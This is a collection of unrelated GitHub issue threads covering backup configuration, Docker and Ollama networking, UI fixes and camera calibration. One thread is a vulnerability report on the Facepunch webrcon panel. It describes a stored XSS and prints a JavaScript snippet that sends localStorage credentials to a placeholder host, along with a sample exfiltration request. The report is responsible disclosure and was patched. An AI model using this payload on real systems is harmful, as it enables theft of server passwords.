Backup::Configuration::Notifier::Mail.defaults do |mail|
  mail.from                 =<EMAIL_ADDRESS>  mail.to                   =<EMAIL_ADDRESS>  mail.address              = 'smtp.gmail.com'
  mail.port                 = 587
  mail.domain               = 'mydomain.com'
  mail.user_name            =<EMAIL_ADDRESS>  mail.password             = 'password'
  mail.authentication       = 'plain'
  mail.enable_starttls_auto = true
end

jenkins.rb
# encoding: utf-8

##
# Backup Generated: test
# Once configured, you can run the backup with the following command:
#
# $ backup perform -t test [-c <path_to_configuration_file>]
#
Backup::Model.new(:jenkins, 'Jenkins config backups') do
  compress_with Gzip
  encrypt_with OpenSSL
#  notify_by Mail

  ##
  # Split [Splitter]
  #
  # Split the backup file in to chunks of 250 megabytes
  # if the backup file size exceeds 250 megabytes
  #
  split_into_chunks_of 250

  archive :jenkins_config do |archive|
    archive.add '/tmp'#'/.jenkins'
    #    archive.exclude '/data/.jenkins/jobs/'
  end

  store_with S3 do |s3|
    s3.bucket = "labs-backups"
    s3.path               = "/test"
    s3.keep               = 10
  end

  notify_by Mail do |mail|
    mail.on_success           = true
    mail.on_warning           = true
    mail.on_failure           = true
  end
end

If I put the notification config directly in the model, copy and paste, it works fine
# encoding: utf-8

##
# Backup Generated: test
# Once configured, you can run the backup with the following command:
#
# $ backup perform -t test [-c <path_to_configuration_file>]
#
Backup::Model.new(:jenkins, 'Jenkins config backups') do
  compress_with Gzip
  encrypt_with OpenSSL
#  notify_by Mail

  ##
  # Split [Splitter]
  #
  # Split the backup file in to chunks of 250 megabytes
  # if the backup file size exceeds 250 megabytes
  #
  split_into_chunks_of 250

  archive :jenkins_config do |archive|
    archive.add '/tmp'#'/.jenkins'
    #    archive.exclude '/data/.jenkins/jobs/'
  end

  store_with S3 do |s3|
    s3.bucket = "labs-backups"
    s3.path               = "/test"
    s3.keep               = 10
  end

  notify_by Mail do |mail|
    mail.on_success           = true
    mail.on_warning           = true
    mail.on_failure           = true
    mail.from                 =<EMAIL_ADDRESS>    mail.to                   =<EMAIL_ADDRESS>    mail.address              = 'smtp.gmail.com'
    mail.port                 = 587
    mail.domain               = 'domain.com'
    mail.user_name            =<EMAIL_ADDRESS>    mail.password             = 'pass'
    mail.authentication       = 'plain'
    mail.enable_starttls_auto = true
  end
end

Opened this under the wrong account, this is my actual account, sorry

Ok, the problem is actually your config.rb.
These must be the last lines in config.rb:
##
# Load all models from the models directory (after the above global configuration blocks)
Dir[File.join(File.dirname(Backup::CONFIG_FILE), "models", "*.rb")].each do |model|
  instance_eval(File.read(model))
end

What's happening is that your Model is being loaded and configured before you're setting the defaults.

ah, that makes sense I guess... not exactly CLEAR.... but it makes sense...
;)
-John
On Sun, Jan 15, 2012 at 5:51 PM, burns <
<EMAIL_ADDRESS>
wrote:

Ok, the problem is actually your config.rb.
These must be the last lines in config.rb:
##
# Load all models from the models directory (after the above global
configuration blocks)
Dir[File.join(File.dirname(Backup::CONFIG_FILE), "models", "*.rb")].each
do |model|
 instance_eval(File.read(model))
end

What's happening is that your Model is being loaded and configured
before you're setting the defaults.

Reply to this email directly or view it on GitHub:
https://github.com/meskyanichi/backup/issues/258#issuecomment-3504078


Menu active when link is with get params

Hey, you should change in sb-admin-2.js
`  var element = $('ul.nav a').filter(function() {
return this.href == url;
}).addClass('active').parent();
TO
var element = $('ul.nav a').filter(function() {
return this.href == url.href.split("?")[0];
}).addClass('active').parent();
`
Because when I have links with get params, menu is not active.

Thanks I will test this out!

can confirm! But also take into account ? is not the only splitter, # can be as well!!
split(/(\?|\#)/)[0]

worked for me, there is probably a smarter solution 😛


Update README for easier reading

Thanks, good idea! I've rebased and added some more interesting features of Pow :)


new

new

Hey 👋 I am going to close this PR because it's unclear what it does. Appreciate the PR though. Feel free to fork the repo and add additional features and we're happy to redirect people to your fork.


CMake "include googletest" fails

CMake fails with:
include could not find load file:

googletest

Even if googletest was found (or added as a submodule).

Maybe instead of using submodules use this


Allow back quotes in adaptive expression object and array construction

Fixes #5554
Description
Allow back quotes in adaptive expression object and array construction
Samples:
# StringTemplateWithPureObjectDefinition(item)
- ${{ text: `I would like ${item} today`}}

# StringTemplateWithObjectDefinition(item)
- get 'text' value : ${{ text: `I would like ${item} today`}.text}

# StringTemplateWithPureArrayDefinition(item)
- ${[`I would like ${item} today`]}

# StringTemplateWithArrayDefinition(item)
- get first value : ${[`I would like ${item} today`][0]}

Pull Request Test Coverage Report for Build 245956

0 of 0   changed or added relevant lines in 0 files are covered.
9 unchanged lines in 5 files lost coverage.
Overall coverage decreased (-0.04%) to 78.782%

Files with Coverage Reduction
New Missed Lines
%

/libraries/Microsoft.Bot.Builder/DelegatingTurnContext.cs
1
88.24%

/libraries/Microsoft.Bot.Builder.Dialogs.Adaptive/Recognizers/EntityRecognizers/TextEntityRecognizer.cs
1
85.71%

/libraries/Microsoft.Bot.Builder.Dialogs/Prompts/DatetimePrompt.cs
1
77.5%

/libraries/Microsoft.Bot.Builder/Adapters/TestFlow.cs
2
78.32%

/libraries/Microsoft.Bot.Builder.Dialogs/Memory/DialogStateManager.cs
4
78.76%

Totals

Change from base Build 245247:
-0.04%

Covered Lines:
18149

Relevant Lines:
23037

💛  - Coveralls


(v0.3.0) Import Statement from README appears to be incorrect

I upgraded to v0.3.0 from 0.1.31 and started getting this error:
app.js:15 Uncaught Error: Could not find module `ember-pop-over/components/pop-over` imported from `app/components/sort-drop-down-menu`

My import statement was:
import PopOver from "ember-pop-over/components/pop-over";

Changing the import statement to:
import PopOver from "ember-pop-over/components/pop-over/component";

appears to have fixed the issue.   I think the change is required due to this https://github.com/tim-evans/ember-pop-over/commit/eed90d5677e5f89e84518c7dd41c2f2e5e769665 commit.
Assuming I'm not doing something wrong it would be great if the README could be updated to help other folks in the future coming to this project (or updating to the latest).
Thanks for a great addon!

Ahh, yes. I'll fix that :)


Refactor fold_arguments and add typing

Separate out different uses of fold_arguments into SymbolFolder, TypeFolder and LowerFolder

This PR will help debugging and fixing: https://github.com/numba/numba/issues/7933

Note to self:

related issue and patch https://github.com/numba/numba/issues/8047#issuecomment-1125526561


Failed to connect to the server. Please try again later.

Describe the bug
After actual code update
docker compose down
git pull
docker compose up -d --build

I cannot use perplexica.
Opening client displays
"Failed to connect to the server. Please try again later."
Additional context
docker logs perplexica-perplexica-backend-1
yarn run v1.22.22
$ npm run db:push && node dist/app.js

><EMAIL_ADDRESS>db:push
> drizzle-kit push sqlite

drizzle-kit: v0.22.7
drizzle-orm: v0.31.2

No config path provided, using default path
Reading config file '/home/perplexica/drizzle.config.ts'
[⣷] Pulling schema from database...
[✓] Pulling schema from database...

[i] No changes detected
npm notice
npm notice New patch version of npm available! 10.8.2 -> 10.8.3
npm notice Changelog: https://github.com/npm/cli/releases/tag/v10.8.3
npm notice To update run: npm install -g<EMAIL_ADDRESS>npm notice
info: WebSocket server started on port 3001
(node:65) [DEP0040] DeprecationWarning: The `punycode` module is deprecated. Please use a userland alternative instead.
(Use `node --trace-deprecation ...` to show where the warning was created)
info: Server is running on port 3001
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: undefined
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: undefined
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: undefined
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: undefined

docker-compose.yaml
services:
  searxng:
    image: docker.io/searxng/searxng:latest
    volumes:
      - ./searxng:/etc/searxng:rw
    ports:
      - 4000:8080
    networks:
      - perplexica-network
    restart: unless-stopped

  perplexica-backend:
    build:
      context: .
      dockerfile: backend.dockerfile
      args:
        - SEARXNG_API_URL=http://searxng:8080
    depends_on:
      - searxng
    ports:
      - 3001:3001
    volumes:
      - backend-dbstore:/home/perplexica/data
      - ./config.toml:/home/perplexica/config.toml
    extra_hosts:
      - 'host.docker.internal:host-gateway'
    networks:
      - perplexica-network
    restart: unless-stopped

  perplexica-frontend:
    build:
      context: .
      dockerfile: app.dockerfile
      args:
        - NEXT_PUBLIC_API_URL=http://<IP_ADDRESS>:3001/api
        - NEXT_PUBLIC_WS_URL=ws://<IP_ADDRESS>:3001
    depends_on:
      - perplexica-backend
    ports:
      - 3000:3000
    networks:
      - perplexica-network
    restart: unless-stopped

networks:
  perplexica-network:

volumes:
  backend-dbstore:

What Ollama address are you using? And what operating system are you on

OK, my fault...
config.toml
[API_ENDPOINTS]
OLLAMA = "http://host.docker.internal:11434"

As ollama runs with systemd,
OLLAMA = "http://<IP_ADDRESS>:11434"

fix it

In fact. not.
docker logs perplexica-perplexica-backend-1 still complains
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: undefined
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: undefined
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: undefined
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed

ollama --version
ollama version is 0.3.9
on Linux Mint 22
uname -a
Linux sagittarius 6.8.0-41-generic #41-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug  2 20:41:06 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

OK.
It happens when I updated ollama, it reset systemd and removed ENVIRONMENT parameters
Environment="OLLAMA_HOST=<IP_ADDRESS>"

Thought it was that, but still not ;(
nfo: Server is running on port 3001
error: undefined

is there a way to get more logs from server ?
still investigating...

Just change the LLM and embedding provider in the settings to Ollama that will fix your issue, if not just reopen it

This is my settings.

What surprise me is that I only have "open_ai" to choose from Chat model Provider

I suppose you are running Perplexica on docker and localhost for docker container will be for its network and not host's network so you need to use the private ip of the computer + port as the Ollama API URL

I am using Perplexica on a LAN  GPU equiped computer.
I used
  perplexica-frontend:
    build:
      context: .
      dockerfile: app.dockerfile
      args:
        - NEXT_PUBLIC_API_URL=http://<IP_ADDRESS>:3001/api
        - NEXT_PUBLIC_WS_URL=ws://<IP_ADDRESS>:3001

as docker_compose parameters
then I use it on my host through "ssh tunnels"
echo "Perplexica"
ssh -fN -L 5000:<IP_ADDRESS>:3000<EMAIL_ADDRESS>echo "Perplexica API"
ssh -fN -L 3001:<IP_ADDRESS>:3001<EMAIL_ADDRESS>
Maybe it could lead to websocket communication errors?
I should try to publish "LAN IP" for docker build ?

I succeed connecting to ollama with this parameters

@ItzCrazyKns  with the latest version of perplexica , getting the same error with OpenAI Models , so its has nothing to do with Ollama or Docker Networking

I succeed connecting to ollama with this parameters (OpenAI custom parameters)
But i get no answers in frontend
Still the same backend errors
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed

Because it doesn't actually connects, you need to use your private IP+ ports. Doesn't matter what provider you use, locakhost for the container will be for its networking and not yours.

As i am forwarding 3000 & 30001 ports on my machine, either <IP_ADDRESS> or localhost should work but i could break some "ws" connexions, as browser log indicate.

As Perplexica is running on IP <IP_ADDRESS> in my LAN I should try to change docker compose like this
  perplexica-frontend:
    build:
      context: .
      dockerfile: app.dockerfile
      args:
        - NEXT_PUBLIC_API_URL=http://<IP_ADDRESS>:3001/api
        - NEXT_PUBLIC_WS_URL=ws://<IP_ADDRESS>:3001

and access to http://<IP_ADDRESS>:3000
NB: As there is no login "ssh reverse tunnels" were used to access Perplexica from remote location over the Internet.

Yes but only access it in the private IP. If you tunnel and try to access it from outside the network it won't work at all. Also you need to use private IP + port for Ollama and serve Ollama over the network.

Using LAN address (which is <IP_ADDRESS>) in docker-compose.yaml, accessing without ssh tunnel doesn't work either ;(

info: WebSocket server started on port 3001
(node:65) [DEP0040] DeprecationWarning: The `punycode` module is deprecated. Please use a userland alternative instead.
(Use `node --trace-deprecation ...` to show where the warning was created)
info: Server is running on port 3001
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: Error loading Ollama models: TypeError: fetch failed
error: Error loading Ollama embeddings model: TypeError: fetch failed
error: Unhandled Rejection at: [object Promise], reason: AxiosError: Request failed with status code 400

is there a way to get more verbosity

Make sure Ollama is accessible in via your LAN

Is there any way to access it from WAN ?

There are many ways but we don't provide support for that.

OK.
At least, it needs "websocket" relay for port 3001
do you plan to add user access control ?

It also happens to me regularly.
Just wait in front of the prompt and after a while "Failed to connect to server" appears

In console, i can see a 404 when accessing https://perplexica.at.home/discover?_rsc=acgkz
In Network, last request is a "protocol switch" 101
GET /?chatModel=llama3.1%3Alatest&chatModelProvider=ollama&embeddingModel=llama3.1%3Alatest&embeddingModelProvider=ollama HTTP/1.1
Host: perplexicapi.at.home
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Sec-WebSocket-Version: 13
Origin: https://perplexica.at.home
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: l7/fyMHT/H8/0UOi4P2++w==
DNT: 1
Connection: keep-alive, Upgrade
Cookie: rl_session=RudderEncrypt%3AU2FsdGVkX18t7%2FREcOWO4PvwpX5dATkMGtZgxbaRUhywwx6hilB5AUcKpjschuZcjQjiDtyhx9FHiAjGLlrmnREuStYEwFd67XBQoV%2Fj%2BfHUKHFB4S4bvjD5waYBdyNliNv4CdD1KKOOGDnV4h0Wrg%3D%3D; rl_anonymous_id=RudderEncrypt%3AU2FsdGVkX1%2Bo7zdetmFDmGks%2B8QHRPrUL1K8pjsznAVrmNLtL6APBFOx7dtgDZU%2B4WUXlTHFg3tB5koWdWntLg%3D%3D; rl_page_init_referrer=RudderEncrypt%3AU2FsdGVkX19AlkgDwJi6wDXlFUzSPwh8NgQ8xgxPmCLyxM84t40a%2FuKqukjcPyK6; rl_page_init_referring_domain=RudderEncrypt%3AU2FsdGVkX1%2FFeJkEUcSmC48SDEszq%2FmELgtN5pT92rigRloFmG%2BEvRbXCSmx3Rz9; ph_phc_4URIAm1uYfJO7j8kWSe0J8lc8IqnstRLS7Jx8NcakHo_posthog=%7B%22distinct_id%22%3A%22f85477d4364bf27e078eae4790bed442db07a0421c6557dd2883173d195810a0%23af4ec013-fe45-4cad-8f20-d5ed0525a7ed%22%2C%22%24sesid%22%3A%5B1726536524590%2C%220191fd73-55df-7044-9555-1fd813bc64bf%22%2C1726534079967%5D%2C%22%24epp%22%3Atrue%7D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: same-site
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

In case it helps investigating the problem

It also happens to me regularly. Just wait in front of the prompt and after a while "Failed to connect to server" appears
In console, i can see a 404 when accessing https://perplexica.at.home/discover?_rsc=acgkz
In Network, last request is a "protocol switch" 101
GET /?chatModel=llama3.1%3Alatest&chatModelProvider=ollama&embeddingModel=llama3.1%3Alatest&embeddingModelProvider=ollama HTTP/1.1
Host: perplexicapi.at.home
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Sec-WebSocket-Version: 13
Origin: https://perplexica.at.home
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: l7/fyMHT/H8/0UOi4P2++w==
DNT: 1
Connection: keep-alive, Upgrade
Cookie: rl_session=RudderEncrypt%3AU2FsdGVkX18t7%2FREcOWO4PvwpX5dATkMGtZgxbaRUhywwx6hilB5AUcKpjschuZcjQjiDtyhx9FHiAjGLlrmnREuStYEwFd67XBQoV%2Fj%2BfHUKHFB4S4bvjD5waYBdyNliNv4CdD1KKOOGDnV4h0Wrg%3D%3D; rl_anonymous_id=RudderEncrypt%3AU2FsdGVkX1%2Bo7zdetmFDmGks%2B8QHRPrUL1K8pjsznAVrmNLtL6APBFOx7dtgDZU%2B4WUXlTHFg3tB5koWdWntLg%3D%3D; rl_page_init_referrer=RudderEncrypt%3AU2FsdGVkX19AlkgDwJi6wDXlFUzSPwh8NgQ8xgxPmCLyxM84t40a%2FuKqukjcPyK6; rl_page_init_referring_domain=RudderEncrypt%3AU2FsdGVkX1%2FFeJkEUcSmC48SDEszq%2FmELgtN5pT92rigRloFmG%2BEvRbXCSmx3Rz9; ph_phc_4URIAm1uYfJO7j8kWSe0J8lc8IqnstRLS7Jx8NcakHo_posthog=%7B%22distinct_id%22%3A%22f85477d4364bf27e078eae4790bed442db07a0421c6557dd2883173d195810a0%23af4ec013-fe45-4cad-8f20-d5ed0525a7ed%22%2C%22%24sesid%22%3A%5B1726536524590%2C%220191fd73-55df-7044-9555-1fd813bc64bf%22%2C1726534079967%5D%2C%22%24epp%22%3Atrue%7D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: same-site
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

In case it helps investigating the problem

Just refresh the page and see if that works, I generally don't provide support for LAN hosted or Network hosted versions because most of the times its just your network.

you are right, it could be network quality, so having some retry instead of direct timeout could help.
from what part of the code this error is raised ? I could have a look

fwiw, I ran into a similar error and what fixed it for me was changing the base image of node that runs from within backend.dockerfile.  Essentially changing it to node from node:slim resolved my issue

fwiw, I ran into a similar error and what fixed it for me was changing the base image of node that runs from within backend.dockerfile. Essentially changing it to node from node:slim resolved my issue

same erroe, specify, please~

I read the whole thread and had tried to fix it.
I got it working after setting everything on LAN device IP with ollama port and net.ipv4.ip_forward=1 in sysctl and docker-compose.yaml 3 times.
I forgot i had a Firewall active, so i made a rule for ollama be allowed to listen to network. Now its working.
If i made it somewhere wrong, you can inform me but i am glad it is working now because i was the whole day working on it.

fwiw, I ran into a similar error and what fixed it for me was changing the base image of node that runs from within backend.dockerfile. Essentially changing it to node from node:slim resolved my issue

Do you mean by changing  "backend.dockerfile" into
FROM node:18

WORKDIR /home/perplexica

COPY src /home/perplexica/src
COPY tsconfig.json /home/perplexica/
COPY drizzle.config.ts /home/perplexica/
COPY package.json /home/perplexica/
COPY yarn.lock /home/perplexica/

RUN mkdir /home/perplexica/data

RUN yarn install --frozen-lockfile --network-timeout 600000
RUN yarn build

CMD ["yarn", "start"]

Could you confirm it solves "Failed to connect to server" ??

In latest code version,
when this issue is fired up, my browser console indicates :
[DEBUG] closed
while network failed loading
https://perplexica.mydomain.tld/?_rsc=acgkz
https://perplexica.mydomain.tld/discover?_rsc=acgkz

It also happens during "video" playback with the same [DEBUG] closed

Solution exists here around minute 3:09
https://www.youtube.com/watch?v=V0vx94JYNjI&ab_channel=AICodeKing


Swiping calls viewDidAppear/Disappear on all tabs in between

Hello,
I am seeing that on a swipe, the viewDidAppear /viewDidDisappear are being called on all the tabs which are in between. For eg: if I have Tab1,Tab2 and Tab3 and I am currently on Tab1 then when I click on Tab3, I see that Tab2's viewDidAppear/disappear are also being called.. This is most probably since the Tab2 view can be seen scrolling horizontally for a second.. I fetch data from different web services on each of the tabs when they are loaded. Hence this leads to unnecessary network calls.
How can I ensure that the web service calls are only executed for a tab when that tab is actually loaded and not on scrolling past?

It's not the best solution but maybe you can set a timer for 0.3 sec. in didAppear, and invalidate this timer in didDisappear. And set timer's action for webservice calls. If didAppear is called for a little time, and immediately didDissappear is called, web services will not call.

I got it working using the CAPSPageMenuDelegate - implemented the didMoveToPage() function in the main controller. This is only called once the tab has been loaded.
Additionally I created a protocol in the main controller which was implemented in the respective Page menu controllers. In didMoveToPage in Main controller,  I called that function.


Cross-Site Scripting Vulnerability on Administrator Chat Message, Exploitable to Steal Server Credentials

Summary
There is a cross-site scripting vulnerability when loading messages sent from the RCON panel. An attacker can deploy a Rust server, add the poisoned XSS message to the Rust chat, then trick a victim into automatically logging in and loading in the poisoned message which has the capability to retrieve the stored server credentials in the "localStorage" object.
Steps to Reproduce - alert prompt

Login to your own rust server
Browse to "http://facepunch.github.io/webrcon/#/YOUR_HOST/chat"
Send the following message in chat from the RCON console...

Observe the alert prompt. Additionally, refresh the page and observe the alert prompt

Steps to Reproduce - exfiltrating password
An attacker could host the following script on their HTTP server...
steal=btoa(JSON.stringify(localStorage))
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://YOUR_HOST/?x='+steal, true);
xhr.send();

Which would be stored on the service by sending the following message with the script source pointed towards the attacker controlled script...

Then, once the message has been sent to their own server, tricking a victim into loading the payload via the following attacker controlled page:

Which would exfiltrate the password by sending an HTTP request like this:
GET /?x=eyJwcmV2aW91c0Nvbm5lY3Rpb25zIjoiW3tcIkFkZHJlc3NcIjpcIllPVVJfU0VSVkVSXCIsXCJQYXNzd29yZFwiOlwiWU9VUl9QQVNTV09SRCFcIixcImRhdGVcIjpcIjIwMjEtMDItMjBUMDY6MjU6MDEuNDAxWlwifV0ifQ== HTTP/1.1

Impact
An attacker could use this to exfiltrate RCON passwords of anyone using the Facepunch RCON service.

Hey - thanks for the write up - I just pushed something that should fix this.

Looks fixed to me :) thanks for the quick patch


Repair tests in CI

Sometimes Acceptance and Functional tests in CI end with error code -1073741819.
However, the tests themselves pass completely.
It is necessary to identify the source of the problem. This may be related to how RoadRunner or Temporal CLI are terminated.

Reproduced on the next env:

Windows
PHP 8.3.x
without protobuf extension (with it works well)


MX Chip Not Listed Under Arduino Board Manager

Azure documentation issue guidance
Thanks for opening an issue in the Azure technical documentation repository.
We use GitHub issues as the primary channel for customer and community feedback about the Azure documentation.
Creating an issue
We prefer that you create documentation feedback issues using the Feedback link on the published article - the feedback control on the doc page creates an issue that contains all the article details so you can focus on the feedback part.
You can also create a feedback issue here in the repo. If you do this, please make sure your issue lists:

[x] The relevant Azure service or technology.
[x] A link to the published documentation article that you have feedback about.
[x] Clear, specific feedback that the author can act on.

Pull requests and article contributions
If you know the change that is needed in an article, we encourage you to submit the changes directly using a pull request. If the change is large, or if you want to contribute an entire article, follow these guidelines:

[x] Don't surprise us with a big pull request or a pull request with a new article! Submit an issue that describes the details of the proposed large change or new article.
[x] Include the service or technology area.

We'll route the issue to the appropriate content team for review and discussion.
Tech support and product feedback
If you would like to contact Microsoft about other things, such as product feedback or tech support, please review these guidelines:

If you need technical support using Azure, the paid and free support options are described here: https://azure.microsoft.com/support/options/.

Each article in the Azure technical documentation contains a product feedback button - it's best to submit product feedback directly from a relevant article. Otherwise, you can submit product feedback for most Azure products in the following product feedback forum: https://feedback.azure.com/d365community/forum/79b1327d-d925-ec11-b6e6-000d3a4f06a4.

https://docs.microsoft.com/en-us/azure/iot-develop/quickstart-devkit-mxchip-az3166-iot-hub

Same issue here.

Adding @liydu for info on MXchip.
Hi, thanks for your interest in Microsoft documentation and Azure IoT.  This issue relates to Arduino Board Manager but not to our quickstart guide on connecting MXchip to Azure IoT.
#label: product-question


[Offloading] User-defined resources

Description
This PR allows custom user-defined resources in the spec of ResourceSlices to be added to virtual nodes.
How Has This Been Tested?

[x] locally

/build

/merge


Pretty-printer: add empty implementations for unimplemented methods

implement_methods check should help. Then just add
METHOD {name}.
  RETURN.
ENDMETHOD.

for each unimplemented method.

hmm, yea,
A: I would expect the pretty printer to only change indentation, not actually add or remove code
B: It would be nice to do it via pretty printer, as I'd probably always want to fix this
C: we are getting into the area of quick fixes / code actions, https://code.visualstudio.com/docs/editor/refactoring#_code-actions-quick-fixes-and-refactorings

I want to get into quickfixes at some point, but like you say in B, this fits in the pretty printer because you always want to do it - the change is trivial and there is no use case for having a syntax error. It just works around the limitation that definitions are separate from implementations so you can't insert both at once.
I wouldn't misuse the pretty printer any for actual refactorings, that sounds dangerous.

also see https://github.com/abaplint/abaplint/issues/790

I'd rather have a quickfix currently, closing.


Is that possible to only run extrinsic calibration

can I fix the intrinsics and only run extrinsic calibraton for multi cameras?

Thank you very much for your interest in MC-Calib.
Yes, you can indeed run the calibration on the extrinsic parameters only; the solution is rather simple:

in the configuration file set fix_intrinsic: 1
set the path to your intrinsic calibration by replacing 'None' with your intrinsic calibration path in the parameter cam_params_path. This *.yml file should be of the same format as the output of MC-Calib (as introduced in the section "Output explanation" of the Readme). You can set random extrinsic parameters; they will not be considered

I hope this help! Please keep us in touch if this solution is working or if you need further support.

hello
I am trying to use my own intrinsic parameters.
I update cam_params_path & fix_intrinsic as you said.
cam_params_path: "/data/Calib_images/intrinsic.yml"   # file with cameras intrinsics to initialize the intrinsic, write "None" if no initialization available
fix_intrinsic: 1 #if 1 then the intrinsic parameters will not be estimated nor refined (initial value needed)
here is my "intrinsic.yml" file:
%YAML:1.0
nb_camera: 3
camera_0:
camera_matrix: !!opencv-matrix
rows: 3
cols: 3
dt: d
data: [536.17, 0., 637.215, 0., 536.45, 366.7615, 0., 0., 1.]
distortion_vector: !!opencv-matrix
rows: 1
cols: 5
dt: d
data: [-0.0585442, 0.0328189, 0.00048874, -0.00035349, -0.012851]
distortion_type: 0
camera_group: 0
img_width: 1920
img_height: 1080
camera_pose_matrix: !!opencv-matrix
rows: 4
cols: 4
dt: d
data: [ 1., 0., 0., 0., 0., 1., 0., 0., 0., 0., 1., 0., 0., 0., 0.,
1. ]
camera_1:
camera_matrix: !!opencv-matrix
rows: 3
cols: 3
dt: d
data: [532.495, 0., 655.175, 0., 532.59, 368.2605, 0., 0., 1.]
distortion_vector: !!opencv-matrix
rows: 1
cols: 5
dt: d
data: [-4.67017e-02, 1.91972e-02, 7.60960e-05, -2.20648e-04, -8.09194e-03]
distortion_type: 0
camera_group: 0
img_width: 1920
img_height: 1080
camera_pose_matrix: !!opencv-matrix
rows: 4
cols: 4
dt: d
data: [ -8.4893627747761569e-01, 4.1198517486889430e-01,
3.3102177038783298e-01, -4.4229366024316774e-01,
1.8675024331355550e-01, -3.5209076223727342e-01,
9.1714581270891915e-01, -1.2683168731805923e+00,
4.9440018548214204e-01, 8.4041674830730395e-01,
2.2196428937962356e-01, 3.4457143351226699e-01, 0., 0., 0., 1. ]
camera_2:
camera_matrix: !!opencv-matrix
rows: 3
cols: 3
dt: d
data: [533.19, 0., 640.77, 0., 533.42, 364.838, 0., 0., 1.]
distortion_vector: !!opencv-matrix
rows: 1
cols: 5
dt: d
data: [-5.64249e-02, 2.98475e-02, -7.10619e-05, -3.08677e-04, -1.14727e-02]
distortion_type: 0
camera_group: 0
img_width: 1920
img_height: 1080
camera_pose_matrix: !!opencv-matrix
rows: 4
cols: 4
dt: d
data: [ 5.6355197582875449e-01, 2.0251312498293311e-01,
-8.0087302660855908e-01, 1.0111634530366027e+00,
-4.8091698271027905e-01, 8.6868755043464585e-01,
-1.1874677031690511e-01, 1.4398303430209297e-01,
6.7166064815526294e-01, 4.5207341652601246e-01,
5.8694258645130737e-01, 1.1209183821516207e-01, 0., 0., 0., 1. ]
But i got this error.
0000249 | 2023-04-06, 04:48:49.099580 [info] - Intrinsic calibration initiated
0000250 | 2023-04-06, 04:48:49.099754 [info] - Initializing camera calibration from /data/Calib_images/intrinsic.yml
terminate called after throwing an instance of 'cv::Exception'
what():  OpenCV(4.2.0) ../modules/core/src/matrix_expressions.cpp:23: error: (-5:Bad argument) Matrix operand is an empty matrix. in function 'checkOperandsExist'
any suggestion?


Explicitly set NODE_ENV

We shouldn't allow NODE_ENV to be overwritten because it can interfere with internal processes

Going to defer this till the next major release as it's potentially breaking (probably not breaking).


Persisting immutable entities

Is it possible somehow to persist immutable entities?
I mean if I have immutable entities in my application, and I need to change it (update some property), I create a new entity with the same PK, and now I want to persist it, but ORM sees it as a new entity and encounters conflict (duplicate PK) while trying to save the entity.
I realize that we need a way to distinguish between new entity with conflicting key and updated one in that case, and relying only on PK is not a way to go. But is there a way I can define when 2 entities are the same (maybe by using some internal object hash) and make the heap rely on it, instead of object reference?
Or maybe we can add an interface, and the entities implementing that interface will define whether they are equal to other object or not, similar to equality operator overloading in other languages or IEquatable interface in .Net.

@armpogart I had a similar use case where I had two keys - one for PK, another one for root id. (so updating would require unsetting the PK and thus forcing the ORM to insert the entity as new)
Check out this repo to get the idea on a possible approach: https://github.com/wolfy-j/spiral-versioned-mapper-repro

Try to register new entity in Heat using same (not sure) or copied Node with state MANAGED. https://github.com/cycle/docs/blob/master/advanced/entity.md


drivers: flash: stm32h7: fix int/long int warnings

Changed lines were producing warnings. As elsewhere in this file, offset is type-casted (or not, depending on compiler) to long int, and then %ld is used in format string.

@emillindq If you add a matching issue, we can get this merged in V2.5.0 (currently merge window is frozen and only idendentified bug fixes are getting merged)


fix salt args

salt
Status

bugfix #517

Description
Fix default salt args for None instead of an empty list.
